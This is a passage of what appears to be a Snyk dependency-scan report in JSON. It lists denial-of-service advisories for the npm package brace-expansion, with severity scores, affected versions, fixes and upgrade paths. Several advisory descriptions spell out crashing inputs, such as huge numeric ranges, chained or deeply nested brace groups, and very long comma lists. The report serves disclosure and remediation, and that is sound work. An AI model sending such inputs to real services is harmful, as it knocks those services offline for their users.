Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", 